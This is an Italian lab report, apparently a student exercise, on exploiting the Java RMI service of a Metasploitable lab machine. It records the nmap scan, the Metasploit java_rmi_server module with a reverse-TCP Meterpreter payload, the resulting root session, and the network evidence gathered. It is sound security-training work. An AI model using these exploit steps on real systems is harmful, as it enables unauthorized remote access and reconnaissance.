

# REPORTS7/L5

SFRUTTAMENTO DELLA VULNERABILITÀ JAVA RMI SU METASPLOITABLE

# OBIETTIVI :

- Identificare e sfruttare una vulnerabilità presente nel servizio Java RMI sulla porta 1099 di Metasploitable.
- Ottenere una sessione Meterpreter sulla macchina target utilizzando Metasploit.
- Raccogliere le seguenti informazioni dalla macchina compromessa:
  - Configurazione di rete.
  - Tabella di routing.

# INDICE

1. Cambio IP
2. Identificazione e sfruttamento della vulnerabilità
- 3 Otttenere una sessione Meterpreter
- 4 Raccolta delle prove richieste
5. Conclusioni

# 2. CAMBIAMENTO IP

Abbiamo impostato gli IP delle macchine come richiesto:

- Kali: 192.168.11.111
- Metasploitable: 192.168.11.112

Abbiamo verificato la connessione con un ping, confermando che le macchine comunicano correttamente.

```
(kali㉿kali)-[~]
$ ip a
l: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN gr
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
    valid_lft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
    valid_lft forever preferred_lft forever
l: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel sta
l000
    link/ether 08:00:27:14:f1:61 brd ff:ff:ff:ff:ff:ff
    inet 192.168.11.111/24 brd 192.168.11.255 scope global noprefixrou
        valid_lft forever preferred_lft forever
l: bridge0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue
qlen 1000
    link/ether f2:82:f4:79:80:54 brd ff:ff:ff:ff:ff:ff

(kali㉿kali)-[~]
$ ping -c4 192.168.11.112
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.
54 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=7.72 ms
54 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=1.65 ms
54 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=11.7 ms
54 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=13.1 ms

--- 192.168.11.112 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3011ms
rtt min/avg/max/mdev = 1.647/8.525/13.080/4.429 ms
```

## 2. IDENTIFICAZIONE DELLA VULNERABILITÀ

Abbiamo eseguito una scansione con Nmap:

```
nmap -p 1099 -sV 192.168.11.112
```

Abbiamo confermato che la porta 1099 era aperta e che il servizio Java RMI (GNU Classpath grmiregistry) era attivo sulla macchina target.

```
(kali㉿kali)-[~]
$ nmap -p 1099 -sV 192.168.11.112

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-14 10:29 CET
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --sy
stem-dns or specify valid servers with --dns-servers
Nmap scan report for 192.168.11.112
Host is up (0.0052s latency).
```

### 3. SFRUTTAMENTO DELLA VULNERABILITÀ E OTTENIMENTO DI METERPRETER

Abbiamo utilizzato Metasploit per cercare l'exploit più adatto:  
**search exploit java rmi**

```
Home . . . VBox_GAs... photo.zip
3   \_ target: Linux Dropper
4   \_ target: Windows Dropper
5   exploit/multi/misc/java_jmx_server           2013-05-22 excell
ent Yes Java JMX Server Insecure Configuration Java Code Execution
6   auxiliary/scanner/misc/java_jmx_server        2013-05-22 normal
   No Java JMX Server Insecure Endpoint Code Execution Scanner
7   exploit/multi/misc/java_rmi_server            2011-10-15 excell
ent Yes Java RMI Server Insecure Default Configuration Java Code Execution
8   \_ target: Generic (Java Payload)
9   System \_ target: Windows x86 (Native Payload)
10  \_ target: Linux x86 (Native Payload)
11  \_ target: Mac OS X PPC (Native Payload)
12  \_ target: Mac OS X x86 (Native Payload)
13  exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excell
ent No Java RMIConnectionImpl Deserialization Privilege Escalation
```

Abbiamo selezionato l'exploit corretto e configurato i parametri:

**set RHOSTS** 192.168.11.112

**set LHOST** 192.168.11.111

**set LPORT** 4444

successivamente :

**exploit**

```
msf6 exploit(multi/misc/java_rmi_server) > options
      Home   VBox_GAs_... photo.zip
Module options (exploit/multi/misc/java_rmi_server):
Name          Current Setting  Required  Description
HTTPDELAY     10                      yes        Time that the HTTP Server will wait for the payload request
RHOSTS        tool scanner           yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         1099                   yes        The target port (TCP)
SRVHOST       0.0.0.0                yes        The local host or network interface to listen on. 1 is must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT       8080 [extr...           yes        The local port to listen on.
SSL           false                  no         Negotiate SSL for incoming connections
SSLCert       Path to a custom SSL certificate (default is randomly generated)
URI PATH      [extr...             no         The URI to use for this exploit (default is random)
```

Payload options (java/meterpreter/reverse\_tcp):

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
--	--
0	Generic (Java Payload)

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit
```

# EXPLOIT RIUSCITO

```
msf6 exploit(multi/misc/java_rmi_server) > set RHOST 192.168.11.112
RHOST => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > exploit
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/KzZQ1PSA1BR0l7
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:41361) at 2025-03-14 10
:43:28 +0100

meterpreter > 
```

Dopo l'esecuzione, abbiamo ottenuto una sessione Meterpreter, che è stata messa in background per raccogliere le evidenze richieste.

```
[+] Unknown command: show. Run the help command for more details.  
meterpreter > session 1  
[-] Unknown command: session. Did you mean sessions? Run the help command for more details.  
meterpreter > bg  
[*] Backgrounding session 1...  
msf6 exploit(multi/misc/java_rmi_server) > sessions  
  
Active sessions  
=====  
  


| Id | Name        | Type       | Information           | Connection                                                  |
|----|-------------|------------|-----------------------|-------------------------------------------------------------|
| 1  | meterpreter | java/linux | root @ metasploitable | 192.168.11.111:4444 → 192.168.11.112:41361 (192.168.11.112) |

  
msf6 exploit(multi/misc/java_rmi_server) > █
```

## 4. RACCOLTA DELLE PROVE RICHIESTE

All'interno di Meterpreter, abbiamo estratto:

Configurazione di rete con il comando:

`ifconfig`

Tabella di routing con il comando:

`route`

```
meterpreter > ifconfig
```

```
Interface 1
```

```
setsockopt...  
=====
```

Name	:	lo - lo
Hardware MAC	:	00:00:00:00:00:00
IPv4 Address	:	127.0.0.1
IPv4 Netmask	:	255.0.0.0
IPv6 Address	:	::1
IPv6 Netmask	:	::

```
Interface 2
```

```
setsockopt...  
=====
```

Name	:	eth0 - eth0
Hardware MAC	:	00:00:00:00:00:00
IPv4 Address	:	192.168.11.112
IPv4 Netmask	:	255.255.255.0
IPv6 Address	:	fe80::a00:27ff:feb8:eb1b
IPv6 Netmask	:	::

```
[!] Unsupported command.
```

```
meterpreter > sessions 1
```

```
[*] Session 1 is already interactive.
```

```
meterpreter > route -n
```

```
[!] Unsupported command: -n
```

```
meterpreter > route
```

```
IPv4 network routes
```

Subnet	Netmask	Gateway	Metric	Interface
127.0.0.1	255.0.0.0	0.0.0.0		
192.168.11.112	255.255.255.0	0.0.0.0		

```
IPv6 network routes
```

Subnet	Netmask	Gateway	Metric	Interface
::1	::	::		
fe80::a00:27ff:feb8:eb1b	::	::		

```
meterpreter > █
```

## 5. CONCLUSIONE

Abbiamo dimostrato come una vulnerabilità nel servizio Java RMI possa essere sfruttata per ottenere il controllo di una macchina remota. Questo tipo di attacco può essere utilizzato da un Red Team o da un attaccante per:

- Ottenere accesso non autorizzato ai sistemi.
- Raccogliere informazioni di rete per un attacco più ampio.
- Dimostrare l'importanza della protezione delle applicazioni esposte su Internet.



**GRAZIE PER L'ATTENZIONE**

**LUCA TAVANI**